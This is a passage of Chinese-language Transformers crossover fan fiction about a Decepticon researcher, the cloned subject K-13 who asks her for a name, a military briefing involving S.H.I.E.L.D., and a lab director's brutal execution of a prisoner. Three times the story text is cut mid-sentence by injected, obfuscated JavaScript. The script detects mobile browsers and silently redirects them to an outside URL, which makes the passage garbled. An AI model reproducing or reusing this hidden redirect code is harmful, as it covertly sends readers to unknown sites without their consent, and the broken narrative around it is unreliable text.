K-13富有技巧性地回答:“谁知道呢?或许有时候我就是喜欢天真的东西。” 她又在用那种神情,意有所指,好像她说的不仅仅是童话故事。 照明回头,假装突然沉迷起了工作。 但是K-13对这个童话故事升起了莫大的兴趣。 她继续问道,语调带着点意味深长的好奇:“告诉我,小研究员。为什么有名字是一件很有意义的事情?一个名字有什么作用?” “除了能让别人更方便地称呼你之外?”不确定K-13询问的目的,照明迟疑地回答,“或许有些机子想要更特别的称呼,而不仅仅是流水线的ID编码。” K-13立刻露出微笑,靠近仓壁,轻轻歪头,声音轻柔:“哦?那么如果我有一个名字,那会意味着我对你来说就更特别一些了吗?” 这完全是在扭曲她的意思! 照明忽略自己通风口散发的热气,试图平淡地继续话题:“有些机子也会用自己下流水线的编码称呼自己。‘K-13’这个编码有什么不好了?” K-13面甲上的笑容变淡了一点:“你可能忘记了,我可不是从流水线上下来的。‘K-13’只是一次实验的代号。只会让我想到在我之前死去的那些失败品。” 是啊,K-13是克隆的产物。但是照明经常会忘记这一点,可能是K-13表现得太正常了。 照明低声道:“......我很抱歉。” “你不用道歉。”K-13迅速回答,语速比平常快了一点,像是生怕她要逃开话题似的,“我只是很想让你给我起一个名字。” 这回照明是真的没料到。 她下意识推拒:“可是我不会。我不是那些精通文学艺术的机,给人起名字这种事我做不好的。” K-13没有接话,只是看着她,眼神安静。 照明顿了顿,声音低了一点:“你是真的想要一个名字吗?” 她说得很慢,又重复了一遍,好像在问K-13,又像是在问自己:“想要我起的名字?” “是呀。”K-13答。 这是一种漫长的惊讶,潮水一样蔓延过照明的全身。 她从来没有给别人命名过。那不是她这种人该做的事。她是初级研究所的研究员,只是个普普通通的个体。她连自己生存的意义都时常搞不清楚,又怎么有资格给别人一个名字? “我觉得起名是一件很严肃的事。” “我以前从没有给别人起过名字。我总是以为……那是在某个人属于你,或者你属于他们的时候才会做的事情。那代表了一种羁绊和联系。” “就算你执意想要一个名字,也不一定要让我来取。你可以自己选,也可以找更合适的人。” 照明垂下光学镜:“我不觉得我有资格给你这种东西。我不是你重要的人。” K-13沉默了片刻。 那种让照明不安的温暖声音又来了,像是裹着丝绸的刀片:“你怎么知道你不是呢?” 照明的火种像被什么轻轻撞了一下。她抬眼看着K-13,一瞬间说不出话来。 对方没有逼她,也没有像往常那样故意撩拨,只是很平静地,很真诚地揭露了一个她从来没有这么认为,也不敢认真想的可能性。 她本该立即否认的,这个实验体只是没经历过什么好事,所以才把她误以为是好人。 可她说不出口。 “我……”照明的嘴唇动了动,却没能把那句“你搞错了”说出来。 K-13只是静静地看着她,动人地微笑着。 照明轻轻从通风口吸了一口气,不置可否。 她突然觉得,如果现在她说“好”,那么,有什么东西真的会从此变得不一样了。 19. 合作 威廉·富勒走进大楼。 这栋楼普普通通,位于偏僻机场的边缘地带,和其他刷着单调的白色涂漆的房屋联成一小排,如任何一栋居民小楼那样。如果有人问起,工作人员会说这是用于物流存储的设施,但实际上这批小楼隶属于政府,用于处理某些“特别项目”。 他顺利通过了安检,在心里嘟囔着感慨现在的审查越来越严,然后顺着走廊前进。 墙面是简陋的暗灰色金属板,天花板上吊着白光灯管,两侧是关着门的小房间,房间的隔音很好,外界什么也听不见,门牌也只是如R-2这样的编号,看不出房间的具体功能。 富勒走到了最里面的房间前。 这个房间占领了足足两个房间那么大的空间,是将军的临时办公场所。房间门旁有个登记室,玻璃半遮的室内坐着个配枪的文职军官。 她翻阅着一些表格,抬头看了看他,明了他的身份和来意:“富勒特工。请稍等,将军正在通话。” 富勒耸耸肩,在旁边的几张简陋椅子里挑了一张坐下了。 看到登记室内有台咖啡机,他还厚着脸皮问军官要了一杯咖啡——不明智的决定,这咖啡不是什么好货,苦得像柴油。 富勒开始怀疑将军是故意要把自己晾上一段时间。 他回忆这段时间他们的外星机械生命盟友做了什么,但是想不到足以让军方不满的答案。 好吧,可能是他的心有点偏向自己的外星朋友们了。但说真的,先是因为机械党闹出来的真假汽车人领袖事件,军方不明就里地非要进行严格的审查,富勒不得不多次掩饰最后还要搬出擎天柱,还提交了足足一掌厚的报告;现在又是不明原因的召见,加上刻意打压般的强迫等待? 五角大楼那帮人果然还是擅长把简单的事变复杂。他们的决策往往滞后,而且不是为前线特工考虑的。 终于等到将军通话完毕,富勒站起身,舒展了一下筋骨,走进办公室。 办公室不大,四面无窗,只靠一盏吊灯照明。 布莱斯将军正端坐于桌子后方,皱着眉头,一如既往的愁苦;甚至似乎比以前更加愁苦了些。 他看到富勒走进来敬礼,摆了摆手,省去了寒暄直接道:“富勒特工。我们在北极圈附近检测到了一些异常的能量特征,这一异常被归类为可能的霸天虎活动。” 富勒自然地接话:“侦查到霸天虎活动的迹象?那我想是需要我通知我们的非人类盟友进行调查,并尽快汇报了?” “不。恰恰相反。”布莱斯将军眉心皱起,褶皱如一道短剑一般,“如果事态升级,我们会授权你寻求他们的帮助。但这一次,不必惊动他们。” 富勒微微一惊,继而以他那种惯常轻松的态度问:“真的吗?这可和你以前一贯的态度不一样。通常只要一提到霸天虎,你就恨不得让我下一秒就去汽车人那联系擎天柱。” 布莱斯将军揉着眉心。 “现在的情况很复杂,这次行动牵扯到了其他机构。你可能从没听说过‘国土战略防御攻击与后勤保障局’,但你现在知道了这个隐姓埋名的机构确实存在。” “哇哦,看来有些人想把所有的专业词汇都塞进他创办的组织里。” 布莱斯将军没有理会特工的插科打诨:“的确。国土战略防御攻击与后勤保障局名称的缩写是‘S.H.I.E.L.D.’,因此他们也自称为神盾局。” “是什么让五角大楼的那帮将军允许这个神盾局插手变形金刚的事务了?让我猜猜,神盾局现在想要那些‘机器人’了?” 这点正是布莱斯将军烦恼的地方。 他也是被授予将军军衔之后,才知道有神盾局这个组织的存在。 神盾局的很多任务其实是绕过军方进行的,特别是在处理外星人相关事务时;没错,最让布莱斯感到痛苦的是,外星人可不只有那些叫“变形金刚”的有着自主意识的机械生命体,它们多种多样,千奇百怪,要命的是,还不约而同地都打算来地球掺和一脚。 五角大楼不完全信任神盾局,神盾局也礼尚往来,有时彼此还会特意隐瞒情报。 虽然五角大楼高层有些时候会被迫和神盾局局长共事,但私下里双方也是互不服气,死死扒着自己的事务不放手。 由于汽车人一派的变形金刚选择和军方合作,所以相关事务的管辖权其实是归属于五角大楼的。 但现在…… 布莱斯将军道:“神盾局声称拥有部分管辖权。事实上也是这样。现在看起来霸天虎绑架了他们的一个重要士兵,史蒂夫·罗杰斯。” 说着,布莱斯将军递过相关档案。 泛黄的照片上,一个似乎把美国星条旗穿在身上的男人手持盾牌,正穿越险地。照片旁边有资料介绍,并不详细,但不妨碍富勒特工已经认出了他。 “等等,美国队长在北极吗?” “看情况是这样。”将军答道,“神盾局会发起一次有限度的突袭行动,不需要汽车人参与。他们的目标很明确,我们不干涉,但需要确保外围局势稳定。” 富勒不爽地说:“所以我要哄住一群变形金刚,同时让神盾局的特工去执行他们的秘密英雄行动。” 布莱斯将军苦笑着宣布了更大的噩耗:“不仅如此,还有一件任务需要交给你。你将与神盾局的特工协调合作。他的名字目前保密。这是你和他联络的通讯工具。” 将军把一支特殊的手机递给富勒,富勒不禁想象了一下五角大楼和神盾局扯皮了多少回合,才协商达成现在这个结果。 他接过手机,嘟囔着:“不错,另一个充满秘密和信任问题的机构。现在看来,我升级成多面间谍了。” “你曾经遇到过更棘手的情况。保持头脑清醒,我们不希望像上次那样差点引发国际事件。” “就那么一次。” “尽量别掺和得太深。准许离开。” 富勒敬了一个礼,在将军的目送中离开了这个办公室。 —————— 当有一个好消息和一个坏消息放在你面前,你会选择先听哪个? 很不幸,照明的系统同时接收并且查阅了两个消息,这就是她现在百感交集地站在黑骑士办公室门口的原因。 好消息是,由于噬铁虫的入侵,很多实验设备遭到了损坏,其中也包括伊迪斯所需的火种穿刺针、移植导管、火种培养箱之类。 她与K-13的体外火种融合实验要延后一段时间,直到后勤部门的设施维护组修理替换好它们。 正如硬币具有两面,坏消息也随之而来。 安全主管没有居功,而是向上级汇报了照明推荐爆裂冷冻液的贡献。 黑骑士从她一板一眼的副官那听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304299|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了照明的表现,不知是出于什么心态,打算现在就见见一直被她遗忘的这位下属,导致原本定在五个周期后的汇报直接缩短。 顶头上司直接检查工作的感觉超出想象得煎熬。 这种情况就是那种谚语说的“一个人永远不可能过度小心”的情况;汇报的内容和实验的进展倒是准备好了,照明更多是一种情绪上的“没准备好”。 在等待时,照明偷偷地在系统里敲下了几个字符,将它标记为“候选名”。 K-13的请求仍若有若无地在照明的音频接收器旁徘徊。 那天给K-13念完故事后,对话的走向莫名变得奇怪又微妙起来。 之后照明装作什么都没有发生,把工作收尾,但躺在充电床上时她仍然克制不住地在想着这件事。 下一个周期K-13又和她打招呼,姿态自然又大方。她好像完全不纠结,完全不觉得自己说出了多暧昧的话,提出了多超出界限的请求。 照明当然注意到了。 K-13说话的方式总是带着点让人不自在的刻意,音调低缓,语气若即若离,像是随口调笑,又像是在试探。 有时候她会靠得很近,贴着隔离仓的内壁,或是借着实验之类的机会贴近照明;金色的光学镜微微闪烁,注视照明的时间总是比正常交流需要的更久一点。 一开始,她以为K-13只是在讨好她,毕竟K-13应该刚脱离磨合期不久,也没经历过什么正常的社会生活,或许只是在学着如何与研究员互动。 但她太聪明了,聪明得不像是单纯地讨好,更像是在试探界限,在确认哪些话、哪些动作,会让照明的神经回路微微紧绷,或者让她移开视线。 可K-13想要什么呢?获取更多能量配给?更宽泛的活动自由?还是…… 照明很清楚,如果她是个更典型的霸天虎,她大可以无视这些信号,把K-13当成一个单纯的实验对象。但她偏偏察觉到了,偏偏无法完全忽略。 不管是哪种可能,照明芯里明白,她不会就这样放K-13离开的。上级的命令摆在那里,她不会去挑战霸天虎的规矩,更不会为了一个巨狰狞的轻声细语就做出什么愚蠢的决定。 但如果她真的这么坚定,为什么K-13每次用那种带笑的语调问她问题时,她总是会停顿一下?为什么她会花时间去思考那些看似漫不经心的试探? 照明不喜欢这种感觉。 她更不喜欢的是,她无法确定K-13的目的。但K-13一定知道自己在做什么。 一个合成记忆碎片弹出,那是她在充电时回顾的一个未曾发生的场景。 那个场景里,K-13在黑骑士面前展露了自己的思想,黑骑士让K-13加入了霸天虎,成为了所长的护卫,她们如K-13说的那样成为了同事。K-13在休息时与她并肩坐下,她们的双手在腿边悄悄交握。K-13对着她的音频接收器轻声说:“你是我最重要的人。” 上线后,照明为这个自作多情的记忆碎片感受到一阵深深的羞愧。 但这个碎片信息也如实反应出她的困惑:是否存在一种可能,K-13的所作所为没有她怀疑的、不可告人的目的呢? 办公室内的机子应是处理好了事情,传唤道:“进来。” 照明收敛思绪,走进了所长黑骑士的办公室。 20. 黑骑士 一进办公室,照明身形一顿,硬生生克制住了自己把门一甩然后转身就跑的冲动。 任谁看到这种场景,都会想要逃跑的。 一个机子被钉在了墙上,字面意思上的。 他的外甲七零八落,几乎已经不剩什么,很多地方都露出下面的内甲和原生质来。 他的左手从手肘处断开,断臂也没有浪费,正深深戳在这个机的小腹。使他被固定在墙上的不止他的断臂,还有细致插入他机体各处的细长尖金属棍。 金属棍钉的地方也很刁钻。机子双腿弯曲支在地上,背部却是紧贴墙壁,形成了一个“背靠墙扎着马步”的扭曲姿势。 能量液喷在墙上,流在地上,唯独不在机体管线里,让这里比起办公室更像一个凶案现场。 这机子的神经回路应该没有被阻断,因为他面甲上的痛苦表情是有目共睹的。 但是他竟然还清醒着,没下线,更没停机,如同被小孩子用图钉简易制作的野生蝴蝶标本,硬是要挣扎着要活到最后一秒。 照明并不认识这个机子,但也看得一阵头皮发麻,机体因为共情而感到幻痛。 罪魁祸首正坐在椅子上,欣赏着自己的杰作。看见照明愣在门口,她挑眉,和善地再次传唤:“进来啊。” 照明的腿听到命令自己动了。 她麻木地迈步走进,门在她背后自动合上。 除了在刚刚被调到这个初级研究所时短暂见过一面,照明就没有再见过这位名为黑骑士的所长。 黑骑士像某种类型的幽灵,大家都知道她的存在,但很少人能见到她。 这也难怪。黑骑士深居简出,绝大多数需要高层出面的事务都交给泽卡莱亚代劳,由此带来一种神秘感。 研究所里的机对于副所长的态度是回避和尊敬,不过背后可能还会议论几句,开个玩笑什么的,但他们在电台八卦时,都默契地避开把所长作为谈资。 照明现在有点明白为什么了。 彻头彻尾的疯子。霸天虎都或多或少疯了,只是看谁疯的更彻底;这位所长更是一马当先,疯得很有创意。 黑骑士把椅子转了半圈,面朝照明。 照明立即敬礼:“长官!” 黑骑士没有做出什么表示,于是照明只好站在原地,尽量不去看那个凄惨的机子,从光学镜的边缘偷看所长。 黑骑士并不是一个大型机,可能只比照明高大一点。 她机体的设计也非常中规中矩,偏向于实用而保守的战斗形式,没有很多霸天虎风格的尖锐凸起。如果不是那双野心勃勃的光学镜,以及阴暗黑灰色的霸天虎式涂装之外,她看起来就像是一个根正苗红的良家好机。 “照明。出生于克劳星,加入霸天虎后曾经在报应号短暂服役过,后被红蜘蛛指派到震荡波的主实验室,然后,啪——你来到了这里。我说得对吗?” 黑骑士的视线从手中的数据板移动到照明身上,以一种打量货物的眼光,冷冷地看着照明。 照明咽了一口分解液:“……全部正确,长官。” 下一秒黑骑士突然精分一般笑了,笑得照明毛骨悚然:“坐吧,坐吧;不用这么严肃。” 冷凝液从照明的额角渗出。 因为这个办公室里根本没有第二个座位! 见照明不动,黑骑士的笑容消失在面甲上。 “坐啊。” 照明:“……” 她急中生智地、破罐子破摔地往地上一坐,抬头仰望黑骑士。 “呵呵……你这孩子还真有趣,有椅子不坐,倒是喜欢坐地上。”黑骑士噗嗤一声,下巴扬起,朝旁边示意,“那里不是很宽敞吗?” 照明顺着她的示意看去—— 那是那个被钉在墙上,姿势扭曲如扎马步的机子。 ……我的流水线啊。看在火种源的份上,谁来救救我,这里有精神病啊。 照明僵笑着回答:“多谢长官关心。我、我生来就不习惯坐椅子。” 感谢从普神或者无论乱七八糟的什么神,黑骑士没有再在椅子的问题上纠结。 她只是说:“那随你吧。K-13的情况怎么样?实验进展到哪一步了?” 谈话终于稍微正常了一点,照明连忙按照原计划汇报。 但她并没有汇报K-13具有思维和语言能力这件事。被钉在墙上流干能量液而死并不是她想要的死法。 黑骑士听完点点头,似乎较为满意:“很好。嗯,这样可以比直接火种融合一次性生产出更多新的小火种,有时候还是咱们的医官有点头脑。” 她陷入了一种自言自语的境地,站起身来,走向墙上的机子。 “有人以为可以破坏这一切,别以为我不知道。……那些蠢货以为……只是工具?但它可以是更多的东西。” 墙上的机子艰难抬起头。 见黑骑士走过来,他张大嘴,无声地嘶吼着,可能因为发声器已经坏了。 所有他能做的只是把一口能量液喷到了黑骑士的脚边。 黑骑士继续着她的演讲,这次是冲着照明。 “如果这个实验成功了……你值得一点奖励。我不认为震荡波会对这样的成就不感兴趣。事实上,我非常愿意亲自推荐你升职。你不想重新回到报应号,在我们伟大陛下的旁边工作么?” 照明谨慎地答道:“长官,我很荣幸。但我能力有限,能有现在的工作我就已经知足了。” 黑骑士挑眉:“一个没有野心的霸天虎?但你并非真的对任何事都不在乎,对吗,尤其是面对在意的机子时。” 照明的火种悬了起来。 黑骑士所长指的是谁? 不可能是…… 是K-13吗? “我了解你。我观察我的下属。这有助于我更好地理解他们。预见他们的想法、他们的抱负、他们的需求。” “发明爆裂冷冻液的那个机子,你所谓的姐姐,她叫什么名字?月蚀,我说得对吗?” 竟是月蚀! 照明的思绪短暂游离出黑骑士冰冷的办公室,被强行拉回一个早已泛黄的记忆文件。 她差点以为这个名字再也不会从任何人嘴里说出来了。她以为自己早就死心了,不敢再奢望有朝一日能找到她。 她们没什么温情,不吵两句就不能好好说话。月蚀是那种一下流水线就朝着“成功人士”方向全速推进的家伙,冷静、上进、清醒得几乎让人讨厌,总是走在她前面。 霸天虎崛起之初,月蚀就果断地加入了。照明则当了很久全世界最可笑的中立派,直到克劳星被攻破才顺势投诚。 月蚀从不理解照明为什么明明有能力却一副要死不活的样子。 照明也不理解她。 她也不需要月蚀理解她,她只想再见她一面。哪怕只是一眼,确认她还活着。 她之所以还活着、还没彻底摆烂、还愿意忍受研究所里的种种侮辱和危险,仅仅是因为这个。 月蚀不该就此消失。她那种人,一定会活得很好,也一定……不会再想起她这个不争气的妹妹。 恍惚之间她短暂忘记了礼仪,直接地问道:“她在哪里?” 好在黑骑士没有计较:“月蚀曾在这里服役了一段时间。一位出色的研究员,想法很新,效率也高……但通常有潜力的人物会去到她们更应该去的地方。她现在在另一个初级研究所,但我仍然对她的下一步去向有一定的影响力。” “现在,想象一下,如果我有一个理由去找另一个研究所的所长;比如这个项目能产生我希望的结果,可能就能说服我把月蚀调回来。” “现在你明白该怎么做了吗?之后我要你全心全意地配合。” 听着黑骑士的话语,刚刚的情急过去,照明冷静下来。 仔细想想,黑骑士对自己真是重视啊。把她的过去调查了个底朝天,想必也知道她为什么离开报应号。这还不算,还了解到自己调查过月蚀的去向。 难道整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311776|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研究所都在她的掌控之中吗? 她低眉顺眼地说:“我全听您的安排,长官。” 大概是有了别人的弱点能让黑骑士安心,黑骑士挥了挥手,似乎就要打发照明出去。 但就在此时,敲门声打断了照明的脚步。 “进来。” 黑骑士不紧不慢补充道:“说到这,之后你在这项事业中会有一位助手。” 助手走进门来,被办公室里的这番惨状给震慑住了,整个机几乎要顺着门边滑落下去。 照明想到自己之前的不满。没有人交流?没有人帮忙实验? 求仁得仁,帮手来了。 还是一位老熟人。 这个跌坐在地上的机子不是别人,正是炸药。 黑骑士摇摇头:“怎么一个两个的都喜欢坐地上。” 不知道她是怎么想的,许是嫌弃“椅子”没派上用场,黑骑士拔出一根金属尖棍,反手直接插进了墙上机子的火种仓。 这个机子最后抽搐了几下,光学镜不甘地熄灭了,机体随之变灰,死得毫无尊严和价值。 照明盯着脚下一声未吭,炸药瞪着光学镜;在两人死一般的沉默里,黑骑士高兴地宣布道: “炸药特意请求与你一起管理K-13,推进后续的工作。你应该感到荣幸,照明,高级研究员愿意主动充当助手的情况并不常见。” 炸药主动要求来和她一起进行实验? 照明忍住扭头看炸药的冲动,忽然想到几天前在废弃仓库遇见炸药时,他面甲上那得意的神情。 他还是没有放下K-13被夺走的“屈辱”吗? 炸药听见黑骑士的话,原本惊慌失措的神情也有了一丝镇定,骄傲地瞟了照明一眼。 照明无语地在芯底翻了翻光学镜。 “当然,这个项目还是需要保密。在火种融合之前,这项闲置的资产还能为我完成一件任务;泽卡莱亚会告诉你们细节。听明白了吗?” 照明和炸药从地上爬起来,异口同声:“是的,长官。” —————— 走出黑骑士的办公室,一时间两人都没有说话。 那个在办公室里死去的机子,他凄惨的死状仍然幽灵般缠绕在他们的火种上。 “不知道他是谁,”炸药打破了沉默,“上一秒他还活着,下一秒就……” 他用手模仿黑骑士穿透火种仓的动作。 照明不愿接话。 炸药也就短暂地后怕了一下,马上又精神抖擞起来。 “不过命运总是眷顾勇者的。我们可是霸天虎,没有风险就没有收获。” “或者单纯就是没有脑模块。”照明嘟囔道。 炸药没有听清。“你说什么?” 照明确认他们已经离黑骑士办公室足够远了,才怀疑地问:“你放弃了所有其他项目只是为了当我的助手?” 炸药:“虽然不明显,但我能看出来这个项目在所长芯目中绝对是排第一位的。她信任我,如果我做得好,她会记住的。” 照明兴致缺缺道:“那祝你活得足够久,能等到所长来晋升你吧。” 炸药受到冒犯,怒气冲冲地停下了脚步:“我懂了,你嫉妒了?可惜已经晚了。” ?这简直是在对牛弹琴。 见照明不语,炸药更加确信自己的判断。他说:“我也没看出你取得了什么成绩。一切都只是因为你是载体机!我有很多办法可以让K-13乖乖听话,等着瞧吧!” 照明想起初见K-13的景象。 她缓缓转身,面对炸药;她一定很严肃,就像她威胁炸药要把他丢进噬铁虫群一样,因为炸药不自觉地闭上了嘴。 “不。你不能。K-13不是你通往权力的捷径,更不是你谈判的筹码。” “她是我的。” 照明没有等待炸药的回应,而是抛下他沿着走廊走去,只留下炸药站在原地,分不清自己刚才是不是被通常软柿子一样的照明警告了。 21. 水晶花 这个周期格外与众不同。 这种与众不同具体表现为已经过了标准的下班时间,照明还是在实验室里。 照明向来是“迟到早退”这一信条的忠实践行者,而现在,她却还是坐在那里,视线在实验终端和K-13之间游移着。 K-13注意到了这个变化:“你今天很安静啊,小研究员。有什么烦恼压垮了你那聪明的处理器吗?” 照明无心去纠正K-13亲昵的称呼。 炸药现在还在交接工作。 不超过半个兆循环,他就会带着副所长吩咐的新任务大摇大摆地进驻这个实验室。 照明不知道以后她和K-13还有没有单独相处的机会……或许现在就是最后一段她们还能单独相处的时间。 接手K-13之后,在研究所的生活变得很疯狂,汽车人和噬铁虫你方唱罢我登场,完全毁了照明平淡的生活。 但除此之外,平时和K-13的相处其实很愉快。 K-13经常会找话题和她对话,她也很会观察,开口的时候不会打扰到照明的工作。 而照明,往往都会回答,除了有些难以招架或不好回答的话题才会避而不谈。 尽管她们有时候观点不同,但她无法否认和K-13进行这样的聊天很有趣。有时候K-13很有独特的见解,有时候她的言语很幽默,让照明忍不住在芯里微笑。 她知道她对K-13的态度发生了转变。这种转变也是理所当然的,毕竟K-13远超他人光学镜所见。 “确实有一个坏消息。”照明说,“之前负责你的研究员要回来了。我没想到他会这么看重这个项目。” “噢?” 照明莫名愧疚:“抱歉,我没办法改变上级的决定。” K-13却笑了,调皮地眨眨光学镜:“但我相信你会保护我的,不是吗?” 照明噎了一下,马上故作自在:“当然。我知道他曾经对你做过什么。” 被K-13信任的滋味是如此甜美,让照明几乎有点飘飘然。 她再次坚定地向K-13保证:“不管新任务是什么,我不会对他无故的伤害行为坐视不理,不会让那些残忍的实验再次发生。” K-13笑道:“我很高兴知道这一点。我想我应该说谢谢?或者是做出一点表示,比如说一个更加实际的感谢礼物。” 她小心翼翼地从子空间里掏出一个闪亮的东西,把它放在管道口,这样照明可以操纵机械手将其取出。 照明从机械手中接过这个东西,有点新奇地查看着。 她能看出,这个东西的原型应该是一个高级能量块。里面的能量液已经变成固态了,它整体散发着神秘的淡紫色微光。 而现在,高级能量块不再是一个方块——它被雕刻成了一朵花。 细小的花瓣重叠着向外卷曲,呈现出水晶般的透明,每一层都柔和地折射着实验室的微弱光线;其余部分则是不透明的沉淀的紫色。 它看起来简直是一件脆弱而美丽的艺术品。 “你自己做的吗?”照明下意识问,随即意识到她问了一个傻问题。当然是这样,除此之外K-13还有什么渠道获得这个呢? K-13没有工具,照明猜测,她应该是用自己尖利的爪子雕刻成的。 K-13点点头,说:“我很喜欢你给我讲的故事。” “我从未见过外面的世界,不知道水晶花具体长什么样子,我只能想象。希望它看起来不是太奇怪。” 照明捏着水晶花,手指在空中犹豫了一下,然后小心地抚上水晶花的花瓣。 雕刻而成的水晶花很轻,触摸起来很凉爽,边缘有点锋利。 她的手指无意间划过表面,在水晶花上留下了淡淡的划痕。 她赶紧换了种拿花的方式,把水晶花捧在手心。 虎子的手爪基本上都是尖利的,但此刻照明希望自己有一双汽车人一样的、指尖圆钝的手,这样就不会伤到这朵意料之外的礼物。 “这其实是我家乡的一种花。” 说着,照明打开了肩炮的投影功能,克劳星的漫漫平原出现在画面中间。 平原上正盛开着一大片一大片的水晶花。 “真可惜。看起来还是有点不太像。”K-13遗憾道。 的确,若以地球上的花卉做比方,水晶花长得更像是昙花,但K-13雕刻出来的花朵则更接近于一朵百合花。 照明连忙说:“但它会是整个宇宙最独特的一朵水晶花。” “那我就认为你是喜欢的了。” “我——我很喜欢。”照明捧着花朵,光学镜向下瞥去。“这……太好了。” K-13带着一丝温柔的意味说:“那就把它带在身边吧。它不会像故事里的那样,那么快就枯萎了。” “我喜欢当我不在你身边的时候,也会有我制造的东西在陪着你。” 照明再次低头看着那朵花。 她把它慢慢地放进臂甲的一个隔层里,安全地存放起来。 “谢谢。” “我的荣幸。” 照明还是没离开。她问:“你还想听我念书吗?我今天还有一些多余的时间。” K-13眨眨光学镜:“求之不得。” —————— 照明咽下能量块,眼神却没有焦距地望着前方。 她手指不自觉地摩挲着这朵小巧透明的水晶花。它捕捉了能量供应处的灯光,并将它们折射成淡紫色的光芒,洒在她的手指上。 不远处,一阵小小的喧闹传来。 风语被几个量产机杂兵簇拥着走了过来。 她应该是说了什么有趣的事情,把自己都给逗笑了,杂兵们也跟着笑得很开心。 风语一边大笑着,一边在簇拥中挥手示意:“你们自己去拿能量块,快点,别傻站着。” 她光学镜轻轻扫了一圈,看见角落里那个独坐的身影,转了转光学镜。 然后悄咪咪地走了过去。 她走到照明身边,从背后偷偷一拍她的肩膀:“嘿!在想什么呢?” 照明小小地吃了一惊:“风语!” 风语坐了下来,顽皮地笑道:“你看起来像在思考什么哲学问题。发生了什么吗?” 她的目光精准地捕捉到了照明手边露出的水晶花的轮廓。 她光学镜一亮:“哦?这是什么?” 照明:“喂,小心点,别碰坏了啊。” 风语如愿以偿地看到了水晶花的全貌。她激动道:“噢,小照明。这个好漂亮。是手工雕刻的能量晶体吗?” 照明承认:“是的。” “但你不是会有闲心做手工活的机子……等等。” 风语嗅到了八卦的气息,整个机都活力满满起来:“这是一个礼物吗?有人送了你这个?拜托了,我想知道是谁!” 照明试图解释:“不是你想象的那样。” 奇怪,怎么感觉她对风语说过这种类似的话?一定是风语太能脑补了。 照明也不知道怎么找借口。 说是朋友送的?风语知道她在这里并没有其他朋友。她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337192|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能说是K-13给的,这样会暴露K-13有思考的能力。 风语戏谑的表情转为了然:“哇哦,看来你们是认真的,我懂,现在庆祝还为时过早。等你成功了再告诉我。这是从战争开始以来我看到过最浪漫的事情之一。” 她又理解歪了这整件事。 照明无奈地摇了摇头,嘴角却勾起一抹笑。 她说:“好了,说正经的。我想问你一件事。” 照明这个周期到能量供应处补充能量,而不是把能量块带回实验室,正是为了这个。 她在暗暗等待风语,这个基地里最喜欢八卦的机子。 主动去找风语可能会引起不必要的注意,她也不想连累风语;但是恰巧遇到就会让一切看起来很自然。 照明芯底有些疑问亟待解决。 照明似乎不经意地问道:“你知道这个机子是谁吗?” 她调出了在黑骑士办公室死去的机子的照片,向风语展示。 她当时震惊之余偷偷拍了一张,当然现在只截取了面部,没有让风语看到其他部分的惨状。 风语凑近一看,认真地辨认这张几乎只有半张面甲的照片。 她看了一会,得出了结果:“嗯……我觉得这是那个警卫队长,好像是叫钢什么的。” 照明问:“他是安保部的吗?” 风语:“是啊,一个小队的队长。他还挺有礼貌的,我们不久前还一起吃能量块呢。你怎么突然问起这个?” 这件事情本来应该不是很重要,照明估计炸药已经把它抛之脑后了。黑骑士处死了谁和他们又有什么关系?说不定她就是这样一个疯子呢? 但照明就是觉得哪里有点不对劲,警卫队长的死应该不仅仅是一个下马威。 还有黑骑士的喃喃自语。“有人以为可以破坏这一切”,究竟指的是什么? 照明没有告诉风语真相。 风语直来直往,爽朗而没有太多心机。有时候知道的太多不一定是一件好事,不知道一些事反而能保护她。 不知道风语如何看待她,但照明不知不觉,已经把她视为自己的朋友了。 照明抿了抿嘴,关闭照片:“我只是在隔离区周围看到了他,好奇他为什么在那里。” 风语没有怀疑,说:“可能只是巡逻路线的变动吧。” 照明还是提醒道:“我认为有些事情正在发生,而我们被蒙在鼓里。研究所最近总是出事,或许我们应该赶紧把那两个……送走。” 风语领会了照明的意思。 她愉快地说:“是的,我还没来得及和你说。我已经安排好了。下一批物资运输地点就在美国附近,我会偷偷把他们带上去,虽然还挺舍不得的。他们很有趣。” “那就好。” 正说着,照明收到了一条文本通讯。 她查看了一下,这是从公共频道里面转发而来的,她本没有加这个机子的通讯频率。 这当然会是炸药。他连发两条,信息里带着他那种颐指气使、自鸣得意的口吻: [猜猜谁刚刚了解了下一个任务的细节?没错,正是本人。] [副所长说要尽快开始训练,所以快点来实验室,别磨磨唧唧的。] 照明把信息划掉,甚至都懒得回复。 风语打趣道:“不会是你那个神秘的暧昧对象发来的吧?” “是炸药。” 